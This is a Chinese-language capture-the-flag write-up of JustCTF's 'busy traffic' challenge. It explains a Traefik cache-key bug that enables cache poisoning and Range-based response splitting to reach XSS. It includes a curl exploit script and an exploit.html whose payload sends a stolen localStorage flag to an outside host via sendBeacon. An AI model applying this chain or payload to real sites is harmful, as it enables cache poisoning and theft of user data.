JustCTF_busy traffic__缓存投毒和请求拆分
本文最后更新于 25 天前,其中的信息可能已经有所发展或是发生改变。

赛后拿wp来学习分析

主要是一个请求处理的差异

const { FLAG, SECRET } = process.env;
const PORT = 3000;
const app = express();
app.use(express.urlencoded({ extended: true }));


const sleep = d => new Promise(r => setTimeout(r, d));

let browser;
const visit = async (url) => {
  try {
      if (browser) {
          await browser.close();
          await sleep(2000);
          console.log("Terminated ongoing job.");
      }
      browser = await puppeteer.launch({
          browser: 'chrome',
          headless: true,
          args: [
              "--disable-features=HttpsFirstBalancedModeAutoEnable",
              "--no-sandbox"
          ]
      });

      const ctx = await browser.createBrowserContext();

      page = await ctx.newPage();
      await page.goto(`http://traefik/flag`, { timeout: 3000, waitUntil: 'domcontentloaded' });
      await page.evaluate((flag) => {
          localStorage.setItem('flag', flag);
      }, FLAG);
      await sleep(500);
      await page.close();

      page = await ctx.newPage();

      await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' });

      await sleep(1000 * 60 * 2);

      await browser.close();
      browser = null;
  } catch (err) {
      console.log(err);
  } finally {
      console.log('close');
      if (browser) await browser.close();
  }
};



app.listen(PORT, () => {
  console.log(`Server running on http://localhost:${PORT}`);
});

config

http:
routers:
  bot:
    rule: 'PathPrefix(`/bot`)'
    service: bot
  dashboard:
    rule: "PathPrefix(`/dashboard`) || PathPrefix(`/api`)"
    service: api@internal

services:
  bot:
    loadBalancer:
      servers:
        - url: "http://bot:3000"

middlewares:
  cache-on-steroids:
    plugin:
      plugin-simplecache:
        path: /tmp/
        CacheQueryParams: True

  maxage:
    headers:
      customResponseHeaders:
        Cache-Control: "max-age=20"
  coop:
    headers:
      customResponseHeaders:
        Cross-Origin-Opener-Policy: "same-origin"
log:
level: INFO

accessLog: {}

entryPoints:
web:
  address: ":80"
  http:
    middlewares:
      - maxage
      - coop
      - cache-on-steroids

providers:
file:
  filename: /config/dynamic.yml

api:
dashboard: true

experimental:
plugins:
  plugin-simplecache:
    moduleName: "github.com/scrazy77/plugin-simplecache-nocache"
    version: "v0.0.5"

官方wp中写到

Find a bug in the Simple Cache library that ignores the ? in the cache key.

看到说是此简单缓存库中有对于?缓存键忽略的错误,我去到官方文档在cache.go这个文件中找到漏洞点

func (m *cache) cacheKey(r *http.Request) string {
if m.cfg.CacheQueryParams {
return r.Method + r.Host + r.URL.Path + r.URL.RawQuery
}

return r.Method + r.Host + r.URL.Path
}

r.URL.Path:只包含 URL 的路径部分,会忽略 ?

r.URL.RawQuery:只包含 URL 中 ? 及其后面的原始查询字符串

有一个CacheQueryParams 的配置选项,如果启用则?之后的查询参数会被考虑在内,可以看出是r.URL.Path的问题,其字段会自动忽略URL中的查询字符串

题目可能是将此设置为false,在此默认配置下会只使用r.URL.Path也就是说http://example.com/assets/dashboardhttp://example.com/assets/dashboard?/malicious-script)这两个URL,生成的缓存键是完全相同的 (GETexample.com/assets/dashboard)

所以我们可以利用带有问号的恶意URL来投毒正常的URL路径所对应的缓存条目

官方提到http://traefik/assets/dashboard/ABChttp://traefik/assets/dasboard?/ABC具有相同的缓存键,也就是说我们可以向

我总结下来的做法就是,利用漏洞构造缓存键,进行缓存污染,然后投毒缓存,从而加载其中的main-v1.js,然后利用加载器,分别去构造执行”小工具”(e=this, t=e.name, i=t, s=2)最后执行setTimeout(i,t,s) → 实际运行 setTimeout(window.name),然后window.name我们是可控的,从而使得恶意js被执行,XSS就能成功

接下来我来一步步解释

他是根据这个js文件当中Default-qPSf0Yui.js,我自己仔细去看了用到的js文件

包含一个动态创建新脚本元素的代码片段,即他可以动态加载脚本,该代码片段创建了一个指向的新脚本元素/dashboard/traefiklabs-hub-button-app/main-v1.js,可以创建<script>标签的加载器

可以这么理解,之所以要利用api-DHmvWmr7.jsDefault-qPSf0Yui.js这俩文件是因为一个作为投毒目标,一个作为加载器工具

http://traefik/assets/api-DHmvWmr7.js使用该漏洞,通过使用任意文件(例如)替换资产来毒害缓存http://traefik/assets/Default-qPSf0Yui.js

响应Range:bytes=X-Y已经被缓存,从而实现响应拆分

wp是根据构造工具利用链达到响应拆分的目的的

  1. e=this
  2. t.e.name
  3. i=t
  4. s=2
  5. setTimeout(i,t,s)

解释一下为什么要构造这些

e = this
在浏览器上下文中,this 指向 window
这一步是为了让我们后续可以访问e.localStorage

t = e.name
浏览器的 window.name 是可写可读的
假如我们提前设置了一个恶意 payload
<iframe name="alert(1)" src="...">
所以e.name实际是我们控制的JavaScript字符串

i = t
准备第一个参数作为函数名字符串
在 JavaScript 中,setTimeout的第一个参数可以是字符串
如果是字符串,会当作 JS 代码来执行

s = 2
设置 setTimeout 的第三个参数(延迟时间)

curl每个小工具都是通过发出带有标头的请求获得的Range: bytes=X-Y

curl -H "Host: traefik" "http://busytraffic.web.jctf.pro:10001/dashboard/<some_asset>" -H "Range: bytes=X-Y"

第一步

构造e = this

其中在Default-qPSf0Yui.js找到对应的能利用到的代码

curl -H "Host: traefik" "http://busytraffic.web.jctf.pro:10001/dashboard/assets/Default-qPSf0Yui.js?/../..//assets/api-DHmvWmr7.js" -H "Range: bytes=2556-2769"

利用?触发缓存键漏洞,会省略?,所以会生成缓存键traefik/dashboard/assets/Default-qPSf0Yui.js/../..//assets/api-DHmvWmr7.js,此payload是响应Default-qPSf0Yui.js中的一段字节内容,然后被存放到这个缓存键当中了

缓存的部分是

const o=document.createElement("script");o.async=!0,o.onload=()=>{this.hasHubButtonComponent=customElements.get("hub-button-app")!==void 0},o.src="traefiklabs-hub-button-app/main-v1.js",document.head.appendChild(o)

然后我们就可以继续利用,去分段构造“小工具”

# e=this

curl -H "Host: traefik" "$server/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/traefiklabs-hub-button-app/main-v1.js" -H "Range: bytes=27107-27112"

因为污染了api-xxx这个缓存,注入了加载器gadget,所以就包含了main-v1.js,去其中去构造出e=this

我也在其中找到了

这边构造好了这个e=this,接下来就是去执行它

echo -e "\nvisit http://$domain/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/udp/a"

第二步

构造t = e.name

curl -H "Host: traefik" "$server/dashboard/assets/Default-qPSf0Yui.js?/../..//assets/Routers-fM5flT_A.js" -H "Range: bytes=2556-2769" -s > /dev/null

这一步仍然是去弄加载器,只不过换了另一个缓存键去投毒

接下来就是继续构造片段内容

# t=e.name
curl -H "Host: $domain" "$server/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/traefiklabs-hub-button-app/main-v1.js" -H "Range: bytes=181318-181325"

接下来就是去执行

echo -e "\nvisit http://$domain/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/udp/routers"

第三步

构造i=t

curl -H "Host: $domain" "$server/dashboard/assets/Default-qPSf0Yui.js?/../..//assets/Routers-0BHxg3Xd.js" -H "Range: bytes=2556-2769" -s > /dev/null 

解释和上面一样,投入加载器,也就是投了那段可用内容后,接着去构造

# i=t
curl -H "Host: $domain" "$server/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/traefiklabs-hub-button-app/main-v1.js" -H "Range: bytes=76147-76149"

然后去执行,即设置好我们所构造的这个

echo -e "\nvisit http://$domain/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/udp/routers"

第四步

构造s=2

curl -H "Host: $domain" "$server/dashboard/assets/Default-qPSf0Yui.js?/../..//assets/Routers-Cq0wFHi0.js" -H "Range: bytes=2556-2769" -s > /dev/null

一样的流程

curl -H "Host: $domain" "$server/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/traefiklabs-hub-button-app/main-v1.js" -H "Range: bytes=2082-2084"

执行设置

echo -e "\nvisit http://$domain/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/tcp/routers"

最后一步!

构造setTimeout(i,t,s)

这次不一样了,是在Index-C0I-aNet.js中找到了这个字段内容

curl -H "Host: $domain" --path-as-is "$server/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/assets/Index-C0I-aNet.js" -H "Range: bytes=13217-13233"

最后构造好了执行

echo -e "\nvisit http://$domain/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/"

执行疑问

那这时候就要问了,为什么最后执行的都是这些呢?#/udp/a#/udp/routers……..

这就需要去看到每次所利用的缓存键中的js文件了,因为他们要加载的话需要依赖模块

比如:这个 Routers-fM5flT_A.js 就是 /udp/routers 对应的页面 JS 模块

其他的都是一次类推,可以查看到的

放上官方的利用构造链,以便理解

NoURL FragmentPoisoned AssetGadget
1.#/udp/aapi-DHmvWmr7.jse=this
2.#/udp/routersRouters-fM5flT_A.jst=e.name
3.#/http/routersRouters-0BHxg3Xd.jsi=t
4.#/tcp/routersRouters-Cq0wFHi0.jss=2
5.#/Index-C0I-aNet.jssetTimeout(i,t,s)

可以通过使用 Host:traefik 发送请求来在 http://traefik 上执行缓存中毒

总结

从利用链上可以清晰的理解到这道题具体是怎么完成的

漏洞利用脚本

exploit.html

<body></body>
<script>

const DOMAIN = 'http://traefik';
const sleep = d => new Promise(r=>setTimeout(r,d));
const EXFIL = 'https://terjanq.me/exfil';
const XSS = `
  var win = window.open("${DOMAIN}/%GG");
  setTimeout(()=>{
    navigator.sendBeacon("${EXFIL}/flag", win.localStorage.getItem("flag"));
  }, 1000);
`;
const URLS = [
  `${DOMAIN}/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/udp/a`,
  `${DOMAIN}/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/udp/routers`,
  `${DOMAIN}/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/http/routers`,
  `${DOMAIN}/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/tcp/routers`,
  `${DOMAIN}/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/`

]
onload = async () => {
  const ifr = document.createElement('iframe');
  ifr.name = XSS;
  document.body.appendChild(ifr);
  ifr.src = URLS[0];
  const win = ifr.contentWindow;

  await sleep(30_000);
  win.location = URLS[1];
  await sleep(30_000);
  win.location = URLS[2];
  await sleep(30_000);
  win.location = URLS[3];
  await sleep(1_000);
  win.location = URLS[4];
}

</script>

xss-v3.5.0.sh

#!/bin/bash

# localhost:3333 traefik
domain="traefik"
server="http://busytraffic.web.jctf.pro:11001"

# Spawn a script to ./traefiklabs-hub-button-app/main-v1.js at http://localhost:3333/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/udp/a
curl -H "Host: $domain" "$server/dashboard/assets/Default-qPSf0Yui.js?/../..//assets/api-DHmvWmr7.js" -H "Range: bytes=2556-2769"

echo -e ""

# e=this
curl -H "Host: $domain" "$server/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/traefiklabs-hub-button-app/main-v1.js" -H "Range: bytes=27107-27112"

echo -e "\nvisit http://$domain/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/udp/a"
sleep 28s

# Spawn a script to ./traefiklabs-hub-button-app/main-v1.js at http://localhost:3333/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/udp/routers
curl -H "Host: $domain" "$server/dashboard/assets/Default-qPSf0Yui.js?/../..//assets/Routers-fM5flT_A.js" -H "Range: bytes=2556-2769" -s > /dev/null

# t=e.name
curl -H "Host: $domain" "$server/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/traefiklabs-hub-button-app/main-v1.js" -H "Range: bytes=181318-181325"

echo -e "\nvisit http://$domain/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/udp/routers"
sleep 28s

# Spawn a script to ./traefiklabs-hub-button-app/main-v1.js at http://localhost:3333/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/http/routers
curl -H "Host: $domain" "$server/dashboard/assets/Default-qPSf0Yui.js?/../..//assets/Routers-0BHxg3Xd.js" -H "Range: bytes=2556-2769" -s > /dev/null

# i=t
curl -H "Host: $domain" "$server/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/traefiklabs-hub-button-app/main-v1.js" -H "Range: bytes=76147-76149"

echo -e "\nvisit http://$domain/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/http/routers"
sleep 28s

# Spawn a script to ./traefiklabs-hub-button-app/main-v1.js at http://localhost:3333/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/tcp/routers
curl -H "Host: $domain" "$server/dashboard/assets/Default-qPSf0Yui.js?/../..//assets/Routers-Cq0wFHi0.js" -H "Range: bytes=2556-2769" -s > /dev/null

# s=2
curl -H "Host: $domain" "$server/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/traefiklabs-hub-button-app/main-v1.js" -H "Range: bytes=2082-2084"

echo -e "\nvisit http://$domain/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/tcp/routers"
sleep 1

# Execute XSS at http://localhost:3333/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/
# setTimeout(i,t,s)
curl -H "Host: $domain" --path-as-is "$server/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/assets/Index-C0I-aNet.js" -H "Range: bytes=13217-13233"

echo -e "\nvisit http://$domain/dashboard/assets/Default-qPSf0Yui.js/..%2f..%2f/#/"

echo ''

总得来说,这个题出的很精妙,只不过要去拼凑和构造有些麻烦,还有就是投毒可能不成功,导致接收不到,多打几次才行

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇